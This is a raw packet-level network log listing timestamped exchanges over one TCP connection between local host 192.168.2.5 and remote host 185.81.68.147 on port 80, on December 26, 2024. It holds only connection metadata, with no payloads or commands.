Dec 26, 2024 12:05:07.408627987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.409435034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.409472942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.409543037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.409593105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.410492897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.410528898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.410573006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.410614014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.411489010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.411533117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.411592007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.411633968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.412497044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.412538052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.412607908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.412650108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.413611889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.413654089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.413685083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.413733959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.414571047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.414608002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.414622068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.414659977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.415580988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.415612936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.415683985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.415721893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.416596889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.416635036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.416699886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.416739941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.417634964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.417692900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.417749882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.417788982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.418682098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.418728113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.418761969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.418802977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.419692993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.419740915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.419779062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.419822931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.420701027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.420743942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.420805931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.420850992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.421770096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.421818972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.421885967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.421936989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.422758102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.422806025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.422843933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.422884941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.423846006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.423862934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.423899889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.423922062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.424834967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.424875975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.425014973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.425057888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.425981045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.426031113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.426140070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.426176071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.426974058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.427016020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.427076101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.427123070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.427988052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.428028107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.428122044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.428160906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.428987980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.429029942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.429060936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.429099083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.429976940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.430018902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.430104971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.430141926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.431045055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.431097031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.431219101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.431263924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.432034969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.432079077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.432190895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.432231903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.433094025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.433136940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.433201075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.433237076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.434113979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.434159994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.434197903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.434237957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.435106993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.435152054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.435228109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.435275078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.436077118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.436122894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.436197042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.436243057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.437129021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.437180996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.437237978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.437277079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.438190937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.438239098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.438325882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.438369989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.439158916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.439204931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.439238071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.439277887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.440247059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.440293074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.440454006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.440500975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.441325903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.441375971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.441528082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.441576958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.442348003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.442406893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.442439079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.442493916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.443346024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.443396091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.443428993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.443479061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.444313049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.444363117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.444372892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.444415092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.445317030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.445369959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.445410967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.445462942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.446394920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.446449995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.446468115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.446511984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.447457075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.447516918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.447519064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.447556019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.448399067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.448448896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.448507071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.448550940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.449434042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.449489117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.449558973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.449609041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.450583935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.450647116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.450664043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.450707912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.451455116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.451502085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.451560020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.451606035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.452455997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.452517986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.452573061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.452617884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.453489065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.453537941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.453582048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.453624964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.454550028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.454598904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.454632998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.454675913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.455554008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.455610037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.455612898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.455657959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.456620932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.456671000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.456702948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.456748009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.457592010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.457653999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.457674980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.457715988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.458621979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.458641052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.458684921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.458714008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.459645033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.459662914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.459698915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.459738970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.617219925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.617278099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.617358923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.617403030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.617620945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.617665052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.617772102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.617810011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.618428946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.618463039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.618536949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.618577003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.619437933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.619489908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.619560003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.619604111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.620450020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.620507002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.620560884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.620615959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.621454954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.621505976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.621604919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.621649027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.622472048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.622514009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.622538090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.622581005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.623521090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.623580933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.623627901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.623671055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.624552011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.624594927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.624638081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.624676943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.625567913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.625633001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.625653028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.625699997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.626564980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.626615047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.626693964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.626744986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.627620935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.627672911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.627691984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.627734900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.628648043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.628691912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.628806114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.628845930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.629656076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.629714966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.629769087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.629808903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.630683899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.630814075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.630875111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.630918980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.631685972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.631726980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.631814003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.631860971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.633027077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.633038044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.633075953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.633928061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.633977890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.634011030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.634053946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.634824991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.634870052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.634933949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.634979010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.635828972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.635878086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.635963917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.636006117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.636835098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.636955023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.637217045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.637871981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.638055086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.638078928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.638107061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.638899088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.638955116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.639074087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.639118910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.639911890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.639961958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.639962912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.640017986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.640968084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.641016960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.641071081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.641112089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.641943932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.641999960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.642040014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.642081976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.643047094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.643090010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.643121004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.643162966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.644004107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.644047976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.644049883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.644088030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.645016909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.645071030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.645127058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.645176888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.646050930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.646106958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.646141052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.646183014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.647089005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.647150040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.647231102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.647274971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.648117065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.648164988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.648221970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.648266077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.649173975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.649233103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.649315119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.649362087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.650132895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.650182009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.650243044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.650288105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.651185989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.651245117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.651323080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:07.651371002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:07.652208090 CET	80	49708	185.81.68.147	192.168.2.5
